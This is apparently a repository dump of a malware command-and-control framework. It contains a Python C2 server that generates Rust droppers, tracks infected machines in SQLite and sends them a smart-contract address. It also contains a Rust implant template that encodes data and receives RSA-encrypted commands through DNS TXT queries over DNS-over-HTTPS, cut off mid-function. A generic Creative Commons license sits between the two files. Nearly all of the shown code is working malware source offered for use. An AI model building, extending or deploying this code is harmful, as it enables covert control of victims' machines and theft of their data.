47 | enc = base64.b64decode(enc)
48 | iv = enc[:AES.block_size]
49 | cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128)
50 | return _unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8')
51 |
52 | # processName https://dropperaddress.com dropperPassword exportName (default == iLoveCatsXD)
53 | # gen_dropper(command[1], command[2], command[3], command[4])
54 | def gen_dropper(processName, dropperAddress, dropperPassword, exportName):
55 | fin = open("./templates/sylas_template.rs", "rt")
56 | fout = open(f"./sylas/src/main.rs", "wt")
57 | for line in fin:
58 | fout.write(line.replace('PROCNAMEHERE', processName).replace('AUTHENTICATIONTOKENHERE', dropperPassword).replace('REMOTEDROPPERADDRESSHERE', dropperAddress).replace('EXPORTNAME', exportName))
59 | fin.close()
60 | fout.close()
61 | os.system("cd sylas && bash ./build.sh")
62 |
63 |
64 | def gen_payload(server, contractAddress_recv, contractKey, KeccakData):
65 | global contractAddress
66 | contractAddress = contractAddress_recv
67 | print(f"Smart contract address :: {contractAddress}")
68 | print(f"Smart contract Keccak :: {KeccakData}")
69 |
70 | conn = sqlite3.connect('machines.db')
71 | # Generate sha256 hash from random bits (unsafe)
72 | randbits = secrets.randbits(1024)
73 | m = hashlib.sha256()
74 | m.update(str(randbits).encode("utf-8"))
75 | createdHash = m.hexdigest().encode("utf-8")
76 | print(f"Generated payload with hash :: {createdHash}")
77 |
78 | key = get_random_bytes(16)
79 | ciphertext = AESencrypt(key, server)
80 |
81 |
82 | plaintext = AESdecrypt(key, ciphertext)
83 |
84 | # Save hash into DB
85 | cursor = conn.cursor()
86 | cursor.execute("""
87 | CREATE TABLE IF NOT EXISTS machines (
88 | first_run integer NOT NULL,
89 | machine_id text NOT NULL,
90 | aesCipherText text NOT NULL
91 | );""")
92 | sql = '''INSERT INTO machines(first_run, machine_id, aesCipherText)
93 | VALUES(?,?,?)'''
94 | cursor.execute(sql, (1, createdHash, ciphertext))
95 | conn.commit()
96 | conn.close()
97 |
98 | # Write hash into artifact
99 |
100 | write_hash_to_artifact(m.hexdigest(), base64.b64encode(key), contractKey, KeccakData, server)
101 |
102 |
103 | def list_payloads():
104 | conn = sqlite3.connect('machines.db')
105 | cursor = conn.cursor()
106 | cursor.execute("SELECT * FROM machines")
107 | records = cursor.fetchall()
108 | for x in records:
109 | print(f"MACHINE ID :: {x[0]} - {x[1]}")
110 | conn.close()
111 |
112 | def check_if_hash_exists(message, connection):
113 | global contractAddress
114 | message = message.strip()
115 | conn = sqlite3.connect('machines.db')
116 | cursor = conn.cursor()
117 | cursor.execute("SELECT machine_id, first_run FROM machines WHERE machine_id = ?", (message,))
118 | records = cursor.fetchone()
119 | if(records):
120 | if(records[1] == 1):
121 | cursor.execute("SELECT aesCipherText FROM machines WHERE machine_id = ?", (message,))
122 | records = cursor.fetchall()
123 | print(f"Records: {records[0][0]}\n")
124 | print(f"New client incomming! preparing the missiles to attack :: {connection.getpeername()}\nSending smart contract address :: {contractAddress}")
125 | cursor.execute("UPDATE machines SET first_run = 0")
126 | connection.send(contractAddress.encode('utf-8'))
127 | conn.commit()
128 | else:
129 | connection.send(message)
130 | else:
131 | connection.send(message)
132 | contractAddress = None
133 |
134 | # Fetch one result from the query because it
135 | # doesn't matter how many records are returned.
136 | # If it returns just one result, then you know
137 | # that a record already exists in the table.
138 | # If no results are pulled from the query, then
139 | # fetchone will return None.
140 | conn.close()
141 |
142 | def handle_user_connection(connection: socket.socket, address: str) -> None:
143 | '''
144 | Get user connection in order to keep receiving their messages and
145 | sent to others users/connections.
146 | '''
147 | while True:
148 | try:
149 | # Get client message
150 | msg = connection.recv(1024)
151 |
152 | # If no message is received, there is a chance that connection has ended
153 | # so in this case, we need to close connection and remove it from connections list.
154 | if msg:
155 | # Log message sent by user
156 | print(f'{address[0]}:{address[1]} - {msg.decode()}')
157 | # Build message format and broadcast to users connected on server
158 | msg_to_send = f'From {address[0]}:{address[1]} - {msg.decode()}'
159 | check_if_hash_exists(msg, connection)
160 |
161 | # Close connection if no message was sent
162 | else:
163 | remove_connection(connection)
164 | break
165 |
166 | except Exception as e:
167 | print(f'Error to handle user connection: {e}')
168 | remove_connection(connection)
169 | break
170 |
171 |
172 | def broadcast(message: str, connection: socket.socket) -> None:
173 | '''
174 | Broadcast message to all users connected to the server
175 | '''
176 |
177 | # Iterate on connections in order to send message to all client's connected
178 | for client_conn in connections:
179 | # Check if isn't the connection of who's send
180 | if client_conn != connection:
181 | try:
182 | # Sending message to client connection
183 | client_conn.send(message.encode())
184 |
185 | # if it fails, there is a chance of socket has died
186 | except Exception as e:
187 | print('Error broadcasting message: {e}')
188 | remove_connection(client_conn)
189 |
190 |
191 | def remove_connection(conn: socket.socket) -> None:
192 | '''
193 | Remove specified connection from connections list
194 | '''
195 |
196 | # Check if connection exists on connections list
197 | if conn in connections:
198 | # Close socket connection and remove connection from connections list
199 | conn.close()
200 | connections.remove(conn)
201 |
202 |
203 | def server() -> None:
204 | '''
205 | Main process that receive client's connections and start a new thread
206 | to handle their messages
207 | '''
208 |
209 | LISTENING_PORT = 1338
210 |
211 | try:
212 | # Create server and specifying that it can only handle 4 connections by time!
213 | socket_instance = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
214 | socket_instance.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 )
215 | socket_instance.bind(('', LISTENING_PORT))
216 | socket_instance.listen(4)
217 |
218 | print('C2 Server running!\n')
219 |
220 | while True:
221 |
222 | # Accept client connection
223 | socket_connection, address = socket_instance.accept()
224 | # Add client connection to connections list
225 | connections.append(socket_connection)
226 | # Start a new thread to handle client connection and receive it's messages
227 | # in order to send to others connections
228 | threading.Thread(target=handle_user_connection, args=[socket_connection, address]).start()
229 |
230 | except KeyboardInterrupt:
231 | socket_instance.close()
232 | finally:
233 | # In case of any problem we clean all connections and close the server connection
234 | if len(connections) > 0:
235 | for conn in connections:
236 | remove_connection(conn)
237 |
238 | socket_instance.close()
239 |
240 | def server() -> None:
241 | '''
242 | Main process that receive client's connections and start a new thread
243 | to handle their messages
244 | '''
245 |
246 | LISTENING_PORT = 1337
247 |
248 | try:
249 | # Create server and specifying that it can only handle 4 connections by time!
250 | socket_instance = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
251 | socket_instance.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 )
252 | socket_instance.bind(('', LISTENING_PORT))
253 | socket_instance.listen(4)
254 |
255 | print('Server running!')
256 |
257 | while True:
258 |
259 | # Accept client connection
260 | socket_connection, address = socket_instance.accept()
261 | # Add client connection to connections list
262 | connections.append(socket_connection)
263 | # Start a new thread to handle client connection and receive it's messages
264 | # in order to send to others connections
265 | threading.Thread(target=handle_user_connection, args=[socket_connection, address]).start()
266 |
267 | except KeyboardInterrupt:
268 | socket_instance.close()
269 | finally:
270 | # In case of any problem we clean all connections and close the server connection
271 | if len(connections) > 0:
272 | for conn in connections:
273 | remove_connection(conn)
274 |
275 | socket_instance.close()
276 |
277 | def command():
278 | print("gen_dropper processName https://dropperaddress.com dropperPassword exportName (default == iLoveCatsXD)")
279 | while True:
280 | try:
281 | command = input("\n> ").split()
282 | if(command[0] == "gen_payload"):
283 | # 0x7f000001:0x53A 0xcbebf47dfEe4d9E69075A54e35a796f376e39dC8 fmPTbnQKLeEaHDqelq3kcw== c217acd5
284 | gen_payload(command[1], command[2], command[3], command[4])
285 | if(command[0] == "gen_dropper"):
286 | # processName https://dropperaddress.com dropperPassword exportName (default == iLoveCatsXD)
287 | print("Run gen_payload first if already executed")
288 | gen_dropper(command[1], command[2], command[3], command[4])
289 | if(command[0] == "list_payloads"):
290 | list_payloads()
291 | except Exception as err:
292 | print(f"{err}")
293 |
294 | if __name__ == "__main__":
295 | serverThread = threading.Thread(target=server)
296 | commandThread = threading.Thread(target=command)
297 | serverThread.start()
298 | commandThread.start()
299 |
--------------------------------------------------------------------------------
/LICENSE.md:
--------------------------------------------------------------------------------
1 | Attribution-NonCommercial-ShareAlike 4.0 International
2 |
3 | =======================================================================
4 |
5 | Creative Commons Corporation ("Creative Commons") is not a law firm and
6 | does not provide legal services or legal advice. Distribution of
7 | Creative Commons public licenses does not create a lawyer-client or
8 | other relationship. Creative Commons makes its licenses and related
9 | information available on an "as-is" basis. Creative Commons gives no
10 | warranties regarding its licenses, any material licensed under their
11 | terms and conditions, or any related information. Creative Commons
12 | disclaims all liability for damages resulting from their use to the
13 | fullest extent possible.
14 |
15 | Using Creative Commons Public Licenses
16 |
17 | Creative Commons public licenses provide a standard set of terms and
18 | conditions that creators and other rights holders may use to share
19 | original works of authorship and other material subject to copyright
20 | and certain other rights specified in the public license below. The
21 | following considerations are for informational purposes only, are not
22 | exhaustive, and do not form part of our licenses.
23 |
24 | Considerations for licensors: Our public licenses are
25 | intended for use by those authorized to give the public
26 | permission to use material in ways otherwise restricted by
27 | copyright and certain other rights. Our licenses are
28 | irrevocable. Licensors should read and understand the terms
29 | and conditions of the license they choose before applying it.
30 | Licensors should also secure all rights necessary before
31 | applying our licenses so that the public can reuse the
32 | material as expected. Licensors should clearly mark any
33 | material not subject to the license. This includes other CC-
34 | licensed material, or material used under an exception or
35 | limitation to copyright. More considerations for licensors:
36 | wiki.creativecommons.org/Considerations_for_licensors
37 |
38 | Considerations for the public: By using one of our public
39 | licenses, a licensor grants the public permission to use the
40 | licensed material under specified terms and conditions. If
41 | the licensor's permission is not necessary for any reason--for
42 | example, because of any applicable exception or limitation to
43 | copyright--then that use is not regulated by the license. Our
44 | licenses grant only permissions under copyright and certain
45 | other rights that a licensor has authority to grant. Use of
46 | the licensed material may still be restricted for other
47 | reasons, including because others have copyright or other
48 | rights in the material. A licensor may make special requests,
49 | such as asking that all changes be marked or described.
50 | Although not required by our licenses, you are encouraged to
51 | respect those requests where reasonable. More considerations
52 | for the public:
53 | wiki.creativecommons.org/Considerations_for_licensees
54 |
55 | =======================================================================
56 |
57 | Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International
58 | Public License
59 |
60 | By exercising the Licensed Rights (defined below), You accept and agree
61 | to be bound by the terms and conditions of this Creative Commons
62 | Attribution-NonCommercial-ShareAlike 4.0 International Public License
63 | ("Public License"). To the extent this Public License may be
64 | interpreted as a contract, You are granted the Licensed Rights in
65 | consideration of Your acceptance of these terms and conditions, and the
66 | Licensor grants You such rights in consideration of benefits the
67 | Licensor receives from making the Licensed Material available under
68 | these terms and conditions.
69 |
70 |
71 | Section 1 -- Definitions.
72 |
73 | a. Adapted Material means material subject to Copyright and Similar
74 | Rights that is derived from or based upon the Licensed Material
75 | and in which the Licensed Material is translated, altered,
76 | arranged, transformed, or otherwise modified in a manner requiring
77 | permission under the Copyright and Similar Rights held by the
78 | Licensor. For purposes of this Public License, where the Licensed
79 | Material is a musical work, performance, or sound recording,
80 | Adapted Material is always produced where the Licensed Material is
81 | synched in timed relation with a moving image.
82 |
83 | b. Adapter's License means the license You apply to Your Copyright
84 | and Similar Rights in Your contributions to Adapted Material in
85 | accordance with the terms and conditions of this Public License.
86 |
87 | c. BY-NC-SA Compatible License means a license listed at
88 | creativecommons.org/compatiblelicenses, approved by Creative
89 | Commons as essentially the equivalent of this Public License.
90 |
91 | d. Copyright and Similar Rights means copyright and/or similar rights
92 | closely related to copyright including, without limitation,
93 | performance, broadcast, sound recording, and Sui Generis Database
94 | Rights, without regard to how the rights are labeled or
95 | categorized. For purposes of this Public License, the rights
96 | specified in Section 2(b)(1)-(2) are not Copyright and Similar
97 | Rights.
98 |
99 | e. Effective Technological Measures means those measures that, in the
100 | absence of proper authority, may not be circumvented under laws
101 | fulfilling obligations under Article 11 of the WIPO Copyright
102 | Treaty adopted on December 20, 1996, and/or similar international
103 | agreements.
104 |
105 | f. Exceptions and Limitations means fair use, fair dealing, and/or
106 | any other exception or limitation to Copyright and Similar Rights
107 | that applies to Your use of the Licensed Material.
108 |
109 | g. License Elements means the license attributes listed in the name
110 | of a Creative Commons Public License. The License Elements of this
111 | Public License are Attribution, NonCommercial, and ShareAlike.
112 |
113 | h. Licensed Material means the artistic or literary work, database,
114 | or other material to which the Licensor applied this Public
115 | License.
116 |
117 | i. Licensed Rights means the rights granted to You subject to the
118 | terms and conditions of this Public License, which are limited to
119 | all Copyright and Similar Rights that apply to Your use of the
120 | Licensed Material and that the Licensor has authority to license.
121 |
122 | j. Licensor means the individual(s) or entity(ies) granting rights
123 | under this Public License.
124 |
125 | k. NonCommercial means not primarily intended for or directed towards
126 | commercial advantage or monetary compensation. For purposes of
127 | this Public License, the exchange of the Licensed Material for
128 | other material subject to Copyright and Similar Rights by digital
129 | file-sharing or similar means is NonCommercial provided there is
130 | no payment of monetary compensation in connection with the
131 | exchange.
132 |
133 | l. Share means to provide material to the public by any means or
134 | process that requires permission under the Licensed Rights, such
135 | as reproduction, public display, public performance, distribution,
136 | dissemination, communication, or importation, and to make material
137 | available to the public including in ways that members of the
138 | public may access the material from a place and at a time
139 | individually chosen by them.
140 |
141 | m. Sui Generis Database Rights means rights other than copyright
142 | resulting from Directive 96/9/EC of the European Parliament and of
143 | the Council of 11 March 1996 on the legal protection of databases,
144 | as amended and/or succeeded, as well as other essentially
145 | equivalent rights anywhere in the world.
146 |
147 | n. You means the individual or entity exercising the Licensed Rights
148 | under this Public License. Your has a corresponding meaning.
149 |
150 |
151 | Section 2 -- Scope.
152 |
153 | a. License grant.
154 |
155 | 1. Subject to the terms and conditions of this Public License,
156 | the Licensor hereby grants You a worldwide, royalty-free,
157 | non-sublicensable, non-exclusive, irrevocable license to
158 | exercise the Licensed Rights in the Licensed Material to:
159 |
160 | a. reproduce and Share the Licensed Material, in whole or
161 | in part, for NonCommercial purposes only; and
162 |
163 | b. produce, reproduce, and Share Adapted Material for
164 | NonCommercial purposes only.
165 |
166 | 2. Exceptions and Limitations. For the avoidance of doubt, where
167 | Exceptions and Limitations apply to Your use, this Public
168 | License does not apply, and You do not need to comply with
169 | its terms and conditions.
170 |
171 | 3. Term. The term of this Public License is specified in Section
172 | 6(a).
173 |
174 | 4. Media and formats; technical modifications allowed. The
175 | Licensor authorizes You to exercise the Licensed Rights in
176 | all media and formats whether now known or hereafter created,
177 | and to make technical modifications necessary to do so. The
178 | Licensor waives and/or agrees not to assert any right or
179 | authority to forbid You from making technical modifications
180 | necessary to exercise the Licensed Rights, including
181 | technical modifications necessary to circumvent Effective
182 | Technological Measures. For purposes of this Public License,
183 | simply making modifications authorized by this Section 2(a)
184 | (4) never produces Adapted Material.
185 |
186 | 5. Downstream recipients.
187 |
188 | a. Offer from the Licensor -- Licensed Material. Every
189 | recipient of the Licensed Material automatically
190 | receives an offer from the Licensor to exercise the
191 | Licensed Rights under the terms and conditions of this
192 | Public License.
193 |
194 | b. Additional offer from the Licensor -- Adapted Material.
195 | Every recipient of Adapted Material from You
196 | automatically receives an offer from the Licensor to
197 | exercise the Licensed Rights in the Adapted Material
198 | under the conditions of the Adapter's License You apply.
199 |
200 | c. No downstream restrictions. You may not offer or impose
201 | any additional or different terms or conditions on, or
202 | apply any Effective Technological Measures to, the
203 | Licensed Material if doing so restricts exercise of the
204 | Licensed Rights by any recipient of the Licensed
205 | Material.
206 |
207 | 6. No endorsement. Nothing in this Public License constitutes or
208 | may be construed as permission to assert or imply that You
209 | are, or that Your use of the Licensed Material is, connected
210 | with, or sponsored, endorsed, or granted official status by,
211 | the Licensor or others designated to receive attribution as
212 | provided in Section 3(a)(1)(A)(i).
213 |
214 | b. Other rights.
215 |
216 | 1. Moral rights, such as the right of integrity, are not
217 | licensed under this Public License, nor are publicity,
218 | privacy, and/or other similar personality rights; however, to
219 | the extent possible, the Licensor waives and/or agrees not to
220 | assert any such rights held by the Licensor to the limited
221 | extent necessary to allow You to exercise the Licensed
222 | Rights, but not otherwise.
223 |
224 | 2. Patent and trademark rights are not licensed under this
225 | Public License.
226 |
227 | 3. To the extent possible, the Licensor waives any right to
228 | collect royalties from You for the exercise of the Licensed
229 | Rights, whether directly or through a collecting society
230 | under any voluntary or waivable statutory or compulsory
231 | licensing scheme. In all other cases the Licensor expressly
232 | reserves any right to collect such royalties, including when
233 | the Licensed Material is used other than for NonCommercial
234 | purposes.
235 |
236 |
237 | Section 3 -- License Conditions.
238 |
239 | Your exercise of the Licensed Rights is expressly made subject to the
240 | following conditions.
241 |
242 | a. Attribution.
243 |
244 | 1. If You Share the Licensed Material (including in modified
245 | form), You must:
246 |
247 | a. retain the following if it is supplied by the Licensor
248 | with the Licensed Material:
249 |
250 | i. identification of the creator(s) of the Licensed
251 | Material and any others designated to receive
252 | attribution, in any reasonable manner requested by
253 | the Licensor (including by pseudonym if
254 | designated);
255 |
256 | ii. a copyright notice;
257 |
258 | iii. a notice that refers to this Public License;
259 |
260 | iv. a notice that refers to the disclaimer of
261 | warranties;
262 |
263 | v. a URI or hyperlink to the Licensed Material to the
264 | extent reasonably practicable;
265 |
266 | b. indicate if You modified the Licensed Material and
267 | retain an indication of any previous modifications; and
268 |
269 | c. indicate the Licensed Material is licensed under this
270 | Public License, and include the text of, or the URI or
271 | hyperlink to, this Public License.
272 |
273 | 2. You may satisfy the conditions in Section 3(a)(1) in any
274 | reasonable manner based on the medium, means, and context in
275 | which You Share the Licensed Material. For example, it may be
276 | reasonable to satisfy the conditions by providing a URI or
277 | hyperlink to a resource that includes the required
278 | information.
279 | 3. If requested by the Licensor, You must remove any of the
280 | information required by Section 3(a)(1)(A) to the extent
281 | reasonably practicable.
282 |
283 | b. ShareAlike.
284 |
285 | In addition to the conditions in Section 3(a), if You Share
286 | Adapted Material You produce, the following conditions also apply.
287 |
288 | 1. The Adapter's License You apply must be a Creative Commons
289 | license with the same License Elements, this version or
290 | later, or a BY-NC-SA Compatible License.
291 |
292 | 2. You must include the text of, or the URI or hyperlink to, the
293 | Adapter's License You apply. You may satisfy this condition
294 | in any reasonable manner based on the medium, means, and
295 | context in which You Share Adapted Material.
296 |
297 | 3. You may not offer or impose any additional or different terms
298 | or conditions on, or apply any Effective Technological
299 | Measures to, Adapted Material that restrict exercise of the
300 | rights granted under the Adapter's License You apply.
301 |
302 |
303 | Section 4 -- Sui Generis Database Rights.
304 |
305 | Where the Licensed Rights include Sui Generis Database Rights that
306 | apply to Your use of the Licensed Material:
307 |
308 | a. for the avoidance of doubt, Section 2(a)(1) grants You the right
309 | to extract, reuse, reproduce, and Share all or a substantial
310 | portion of the contents of the database for NonCommercial purposes
311 | only;
312 |
313 | b. if You include all or a substantial portion of the database
314 | contents in a database in which You have Sui Generis Database
315 | Rights, then the database in which You have Sui Generis Database
316 | Rights (but not its individual contents) is Adapted Material,
317 | including for purposes of Section 3(b); and
318 |
319 | c. You must comply with the conditions in Section 3(a) if You Share
320 | all or a substantial portion of the contents of the database.
321 |
322 | For the avoidance of doubt, this Section 4 supplements and does not
323 | replace Your obligations under this Public License where the Licensed
324 | Rights include other Copyright and Similar Rights.
325 |
326 |
327 | Section 5 -- Disclaimer of Warranties and Limitation of Liability.
328 |
329 | a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE
330 | EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS
331 | AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF
332 | ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS,
333 | IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION,
334 | WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR
335 | PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS,
336 | ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT
337 | KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT
338 | ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU.
339 |
340 | b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE
341 | TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION,
342 | NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT,
343 | INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES,
344 | COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR
345 | USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN
346 | ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR
347 | DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR
348 | IN PART, THIS LIMITATION MAY NOT APPLY TO YOU.
349 |
350 | c. The disclaimer of warranties and limitation of liability provided
351 | above shall be interpreted in a manner that, to the extent
352 | possible, most closely approximates an absolute disclaimer and
353 | waiver of all liability.
354 |
355 |
356 | Section 6 -- Term and Termination.
357 |
358 | a. This Public License applies for the term of the Copyright and
359 | Similar Rights licensed here. However, if You fail to comply with
360 | this Public License, then Your rights under this Public License
361 | terminate automatically.
362 |
363 | b. Where Your right to use the Licensed Material has terminated under
364 | Section 6(a), it reinstates:
365 |
366 | 1. automatically as of the date the violation is cured, provided
367 | it is cured within 30 days of Your discovery of the
368 | violation; or
369 |
370 | 2. upon express reinstatement by the Licensor.
371 |
372 | For the avoidance of doubt, this Section 6(b) does not affect any
373 | right the Licensor may have to seek remedies for Your violations
374 | of this Public License.
375 |
376 | c. For the avoidance of doubt, the Licensor may also offer the
377 | Licensed Material under separate terms or conditions or stop
378 | distributing the Licensed Material at any time; however, doing so
379 | will not terminate this Public License.
380 |
381 | d. Sections 1, 5, 6, 7, and 8 survive termination of this Public
382 | License.
383 |
384 |
385 | Section 7 -- Other Terms and Conditions.
386 |
387 | a. The Licensor shall not be bound by any additional or different
388 | terms or conditions communicated by You unless expressly agreed.
389 |
390 | b. Any arrangements, understandings, or agreements regarding the
391 | Licensed Material not stated herein are separate from and
392 | independent of the terms and conditions of this Public License.
393 |
394 |
395 | Section 8 -- Interpretation.
396 |
397 | a. For the avoidance of doubt, this Public License does not, and
398 | shall not be interpreted to, reduce, limit, restrict, or impose
399 | conditions on any use of the Licensed Material that could lawfully
400 | be made without permission under this Public License.
401 |
402 | b. To the extent possible, if any provision of this Public License is
403 | deemed unenforceable, it shall be automatically reformed to the
404 | minimum extent necessary to make it enforceable. If the provision
405 | cannot be reformed, it shall be severed from this Public License
406 | without affecting the enforceability of the remaining terms and
407 | conditions.
408 |
409 | c. No term or condition of this Public License will be waived and no
410 | failure to comply consented to unless expressly agreed to by the
411 | Licensor.
412 |
413 | d. Nothing in this Public License constitutes or may be interpreted
414 | as a limitation upon, or waiver of, any privileges and immunities
415 | that apply to the Licensor or You, including from the legal
416 | processes of any jurisdiction or authority.
417 |
418 | =======================================================================
419 |
420 | Creative Commons is not a party to its public
421 | licenses. Notwithstanding, Creative Commons may elect to apply one of
422 | its public licenses to material it publishes and in those instances
423 | will be considered the “Licensor.” The text of the Creative Commons
424 | public licenses is dedicated to the public domain under the CC0 Public
425 | Domain Dedication. Except for the limited purpose of indicating that
426 | material is shared under a Creative Commons public license or as
427 | otherwise permitted by the Creative Commons policies published at
428 | creativecommons.org/policies, Creative Commons does not authorize the
429 | use of the trademark "Creative Commons" or any other trademark or logo
430 | of Creative Commons without its prior written consent including,
431 | without limitation, in connection with any unauthorized modifications
432 | to any of its public licenses or any other arrangements,
433 | understandings, or agreements concerning use of licensed material. For
434 | the avoidance of doubt, this paragraph does not form part of the
435 | public licenses.
436 |
437 | Creative Commons may be contacted at creativecommons.org.
438 |
--------------------------------------------------------------------------------
/templates/template.rs:
--------------------------------------------------------------------------------
1 | // encoding
2 | use base32::{Alphabet, decode, encode};
3 | use base64::{Engine as _, alphabet, engine::{self, general_purpose}};
4 | use hex_literal::hex;
5 |
6 | // parsing
7 | use serde_json::Value;
8 | use fancy_regex::Regex;
9 | use rustc_serialize::json::{Json, ToJson};
10 |
11 | // networking
12 | use std::net::{TcpStream,Shutdown};
13 | use reqwest::blocking::Client;
14 | use url::{Url, ParseError};
15 | use std::io::prelude::*;
16 |
17 | // native
18 | use std::process;
19 | use std::fs;
20 | use std::time::{Duration, Instant};
21 | use std::str::FromStr;
22 | use std::str;
23 | use std::hint;
24 | use std::thread;
25 | use std::process::{Command, Stdio};
26 | use execute::{Execute, command};
27 |
28 | // hashing
29 | use sha2::{Sha256, Digest};
30 |
31 | // crypto
32 | use aes::cipher::{
33 | BlockCipher, BlockEncrypt, BlockDecrypt,
34 | generic_array::GenericArray, AsyncStreamCipher, KeyIvInit
35 | };
36 | use aes::Aes128;
37 | use block_modes::{BlockMode, Cfb, block_padding::Padding, block_padding::Pkcs7};
38 | use rsa::{RsaPublicKey, RsaPrivateKey, Pkcs1v15Encrypt, pkcs8::DecodePublicKey, Oaep, pkcs8::EncodePublicKey, pkcs8::LineEnding};
39 | type Aes128CfbEnc = cfb_mode::Encryptor;
40 | type Aes128CfbDec = cfb_mode::Decryptor;
41 |
42 | // globals
43 | static Hash: &str = "UNIQUEHASH";
44 | static ContractKey: &str = "SMARTCONTRACTKEY";
45 | static TestnetRPC: &str = "https://endpoints.omniatech.io/v1/matic/mumbai/public";
46 | static mut SleepTime: Option> = None;
47 |
48 | // threading
49 | use std::sync::Mutex;
50 |
51 | fn parseDNSTextEntry(response: &str) -> String{
52 | let re = Regex::new(r"(?<=dv=)(.*?)\\").unwrap();
53 | let mut result = String::new();
54 |
55 | let mut captures_iter = re.captures_iter(response);
56 | for x in captures_iter{
57 | let mut data = x.unwrap().get(0).unwrap().as_str();
58 | data = data.trim_end_matches("\\");
59 | result.push_str(&data);
60 | }
61 |
62 | if result.is_empty(){
63 | let re = Regex::new(r"(?<=xv=)(.*?)\\").unwrap();
64 | let mut result = String::new();
65 |
66 | let mut captures_iter = re.captures_iter(response);
67 | for x in captures_iter{
68 | let mut data = x.unwrap().get(0).unwrap().as_str();
69 | data = data.trim_end_matches("\\");
70 | result.push_str(&data);
71 | }
72 | return result.clone()
73 |
74 | }
75 | return result.clone()
76 | }
77 |
78 | fn is_base32(s: &str) -> bool {
79 | let decode = base32::decode(Alphabet::RFC4648 { padding: true }, s);
80 | if decode.is_some(){
81 | return true
82 | }
83 | if decode.is_none(){
84 | return false
85 | }
86 | return false
87 | }
88 |
89 | fn checkDNSTextEntry<'a>(domain: &str, private_key_internal: &RsaPrivateKey, public_key_hash: &str) -> Vec{
90 | let mFormat: String = format!("2|{}", public_key_hash);
91 | let base32Data = base32::encode(
92 | Alphabet::RFC4648 { padding: true },
93 | &mFormat.as_bytes()
94 | );
95 | let dnsMAX = 255;
96 | let dnsdomainNameSize = domain.len();
97 | let maxDNSData = dnsMAX - dnsdomainNameSize;
98 | let mut packetOrder = 0;
99 | let messageSize = base32Data.len();
100 | let mut messageRemainSize = messageSize;
101 | let mut lastPacket = 0;
102 | let mut result = String::new();
103 |
104 | for (i, c) in base32Data.chars().enumerate() {
105 | if i % 61 == 0 && i != 0{
106 | result.push('.');
107 | }
108 | if (result.len() >= (maxDNSData - dnsdomainNameSize)){
109 | packetOrder += 1;
110 | let s = format!("-{}-{}-kkdc", packetOrder, result.len());
111 | result.push_str(&s);
112 | result.push('.');
113 | result.push_str(domain);
114 | lastPacket = 1;
115 | }
116 | result.push(c);
117 | }
118 | if lastPacket == 1 || result.len() < 255{
119 | packetOrder += 1;
120 | let s = format!("-{}-{}-_", packetOrder, result.len());
121 | result.push_str(&s);
122 | result.push('.');
123 | result.push_str(domain);
124 | lastPacket = 0;
125 | }
126 |
127 |
128 | let mut url = Url::parse("https://1.1.1.1/dns-query").unwrap();
129 | url.query_pairs_mut()
130 | .append_pair("name", &result)
131 | .append_pair("type", "TXT");
132 | let client = reqwest::blocking::Client::new();
133 | let mut request = client.get(url.as_str()).header("accept", "application/dns-json").send();
134 |
135 | match request{
136 | Ok(req) => {
137 | let mut response = req;
138 | let mut data = response.text().unwrap();
139 |
140 | result.clear();
141 |
142 | let mut ndata = parseDNSTextEntry(&data);
143 |
144 | let bFlag = is_base32(&ndata);
145 | if bFlag == false{
146 | let commandDecoded = &base64::decode(ndata).unwrap();
147 | let padding = Oaep::new::();
148 | let dec_data = private_key_internal.decrypt(padding, &commandDecoded);
149 | match dec_data{
150 | Ok(dec_data) =>{
151 | let utf_data = String::from_utf8(dec_data).unwrap();
152 | let new_string: String = utf_data.to_owned();
153 | let parts: Vec = new_string.split('|').map(|s| s.to_string()).collect();
154 | return parts;
155 | }
156 | Err(err)=>{
157 | return vec![]
158 | }
159 | }
160 | }
161 | ndata.clear();
162 | return vec![];
163 | }
164 |
165 | Err(_) => {
166 | return vec![];
167 | }
168 | }
169 | }
170 |
171 | fn sendDnsRequest(domain: &str){
172 | let mut url = Url::parse("https://1.1.1.1/dns-query").unwrap();
173 | url.query_pairs_mut()
174 | .append_pair("name", domain)
175 | .append_pair("type", "A");
176 |
177 | let client = reqwest::blocking::Client::new();
178 |
179 | let mut request = client.get(url.as_str()).header("accept", "application/dns-json").send();
180 |
181 | let mut response = request.unwrap();
182 | let mut data = response.text().unwrap();
183 | }
184 |
185 | fn dnsRequestEncoder(domain: &str, message: &String){
186 | let dnsMAX = 255;
187 | let dnsdomainNameSize = domain.len();
188 | let maxDNSData = dnsMAX - (dnsdomainNameSize + 10);
189 | let mut packetOrder = 0;
190 | let base32Data = base32::encode(
191 | Alphabet::RFC4648 { padding: true },
192 | &message.as_bytes()
193 | );
194 | println!("Complete: {}", &base32Data);
195 | let messageSize = base32Data.len();
196 | let mut messageRemainSize = (messageSize / maxDNSData);
197 | let mut lastPacket = 0;
198 |
199 |
